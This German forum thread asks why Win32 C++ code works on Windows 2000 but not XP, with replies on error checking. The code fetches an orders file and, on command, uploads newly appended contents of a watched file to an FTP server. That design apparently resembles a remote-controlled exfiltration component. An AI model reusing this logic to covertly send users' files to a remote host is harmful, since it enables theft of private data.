funzt unter WIN 2k, nicht unter WIN XP



  • ich hab keine Ahnung, aber vielleicht weiß ja einer von euch, was bei diesem code in Win XP nicht mehr funzt. Unter Win 2k tut alles! Aber unter Win XP bringt er nicht mal die vorgesehene Fehlermeldung.

    // Anweisungen kopieren und Datei löschen
    hFile = CreateFile (FILENAME, GENERIC_READ, 0, NULL, OPEN_EXISTING,
                                        FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        DWORD FileSize;
        DWORD BytesRead = 0;
        CHAR * buffer;
    
        FileSize = GetFileSize (hFile, NULL);
        buffer = new CHAR[FileSize+1];
        ZeroMemory (buffer, FileSize+1);
        ReadFile (hFile, buffer, FileSize, &BytesRead, NULL);
    
        CloseHandle (hFile);
        DeleteFile (FILENAME);
            // Anweisung ausführen
        switch (buffer[0])
        {
            case GO_ON:
            {                        
                if (strlen (Directory) > 3)
                {
                    CHAR * data = new CHAR[BYTES_TO_READ+1];
                    ZeroMemory (data, BYTES_TO_READ+1);                                
                    HANDLE hTarget;
                    HANDLE hPacket;
                    DWORD BytesRead;
                    DWORD BytesWrote;
                    BOOL fFailed = FALSE;
                    CHAR failbuf[200];
    
                        // Daten auslesen
                    hTarget = CreateFile (Directory, GENERIC_READ, 0, NULL,
                                          OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
                    if ((hTarget != INVALID_HANDLE_VALUE) )
                    {
                        SetFilePointer (hTarget, Index, 0, FILE_BEGIN);
    
                        if (ReadFile (hTarget, data, BYTES_TO_READ, &BytesRead, NULL))
                        {
                            if (strlen (data) > 0)
                            {
                                    // Neue Datei erstellen
                                CHAR temp[300];
                                wsprintf (temp, "%d.txt", FileNumber);
                                hPacket = CreateFile (temp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                                                              FILE_ATTRIBUTE_NORMAL, NULL);
                                if (hPacket != INVALID_HANDLE_VALUE)
                                {
                                        // Daten hineinschreiben
                                    if (WriteFile (hPacket, data, BytesRead, &BytesWrote, NULL))
                                    {
                                        CloseHandle (hPacket);
                                            // hochladen
                                        if (LoadFile (UPLOAD, temp) == 0)
                                        {
                                            Index += BytesRead;
                                            FileNumber++;
                                        }
                                        else
                                        {
                                            wsprintf (failbuf, "f Hochladen gescheitert");
                                            fFailed = TRUE;
                                        }
                                    }
                                    else
                                    {
                                        wsprintf (failbuf, "f Datenschreiben gescheitert, WriteFile () = FALSE");
                                        fFailed = TRUE;
                                    }
                                    DeleteFile (temp);
                                    CloseHandle (hPacket);
                                }
                                else
                                {
                                wsprintf (failbuf, "f Datenschreiben gescheitert, hPacket = INVALID_HANDLE_VALUE");
                                fFailed = TRUE;
                            }
                        }
                        else
                        {
                            wsprintf (failbuf, "f Datenauslesen gescheitert, strlen(data) = 0");
                            fFailed = TRUE;
                        }
                    }                  
                    else
                    {
                        wsprintf (failbuf, "f Datenauslesen gescheitert, ReadFile () = FALSE");
                        fFailed = TRUE;
                    }
                }
                else
                {
                    wsprintf (failbuf, "f Datenauslesen gescheitert, hTarget = INVALID_HANDLE_VALUE");
                    fFailed = TRUE;
                }
    
                if (fFailed)
                {
                    hFile = CreateFile (FILENAME, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                                                            FILE_ATTRIBUTE_NORMAL, NULL);
                    if (hFile != INVALID_HANDLE_VALUE)
                    {
                        DWORD orderWrote;
                        WriteFile (hFile, failbuf, strlen(failbuf), &orderWrote, NULL);
                        CloseHandle (hFile);
                            // neue orders.ini hochladen
                        LoadFile (UPLOAD, FILENAME);
                    }
                }
                CloseHandle (hTarget);
                SAFE_DELETE_ARRAY(data);
            }
            break;
        }
        default:
            break;
    }
    

    Zur Erläuterung:
    Die Datei mit dem "FILENAME" ist bereits heruntergeladen. Nun prüft der Code diese Datei auf Anweisungen und führt diese aus. Entweder GO_ON oder was anderes, aber das andere funzt ja noch. Nur GO_ON funzt net.
    Dann wird eine Datei mit dem Namen "Directory" geöffnet und auf Veränderung untersucht. Die letzte bekannte Position gibt "Index" an. Ist die Datei größer geworden, wird der neue Teil hochgeladen, mit dem Dateinamen "FileName", aber maximal "BYTES_TO_READ" Bytes. Schlägt es fehl, sollen Fehlermeldungen hochgeladen werden. Aber nix funzt. Die Funktion "LoadFile" ist folgende:

    long LoadFile (long mode, char * filename)
    {
        HINTERNET hnet, hhost;
    
        hnet = InternetOpen("TITEL", INTERNET_OPEN_TYPE_DIRECT,
                            NULL, NULL, 0);
    
        hhost = InternetConnect(hnet, URL,INTERNET_DEFAULT_FTP_PORT,
                                USER, PASSWORD, INTERNET_SERVICE_FTP,
                                0, 0);
    
        if(!hhost)
        {
            InternetCloseHandle(hnet);
            return 0;
        }
    
        FtpSetCurrentDirectory(hhost,DIRECTORY);
    
        if (mode == DOWNLOAD)    
        {
            FtpGetFile(hhost, filename, filename, FALSE,
                       FILE_ATTRIBUTE_NORMAL, INTERNET_FLAG_TRANSFER_BINARY, 0);
        }
        else if (mode == UPLOAD)
        {
            FtpPutFile (hhost, filename, filename, 0, 0);
        }
    
        InternetCloseHandle(hhost);
        InternetCloseHandle(hnet);
        return 0;
    }
    

    Die funzt aber in anderen Teilen des Progs wunderbar. Ich weiß mit dem Code nicht mehr weiter. Kann mir einer helfen?



  • Nachdem du konsequent die Rückgabewerte ignorierst, wirst du es nicht so leicht haben mit der Fehlersuche. Ich würd mich halt einmal auf die Suche machen, bei welcher Funktion das Problem auftritt.



  • Das Problem ist, dass nicht mal die Vorgesehene Meldung kommt, wo abgebrochen wurde. Danach könnte man ja tiefer graben, aber erst muss ich mal wissen, wo in etwa das Problem liegt.



  • Wie wärs denn dann, wenn Du mal (anstatt uns) erstmal deinen Debugger dazu befragst, was der dazu meint?

    Der kann Dir alle Variablenwerte zur Laufzeit sagen, wir nicht...



  • der debugger sagt mir, das alles in ordnung ist. aber ich hab nur win 2000. ich hab keine möglichkeit, unter win xp zu testen!



  • Problem gelöst. Es lag an der Registry von Win XP. Mein Programm nahm Zugriff auf einige Einträge. Bei Win XP versagte das komischerweise. Ich hab jetzt diese Daten in ne Datei ausgelagert. Jetzt funzts.



  • Das heißt, Dein Programm wollte einige Schlüssel aus der Registry lesen, und das hat nicht geklappt?

    Da kannste mal sehen wie wichtig es ist, seine Funktionsaufrufe auf Fehler zu überprüfen... mit einer "richtigen" Fehlerüberprüfung wärst Du da sicherlich eher drauf gekommen...



  • es hat ja werte ausgelesen, es waren nur die falschen...
    das hat nix mit rückgabewerten zu tun, das is persönliche dummheit 🙄


Anmelden zum Antworten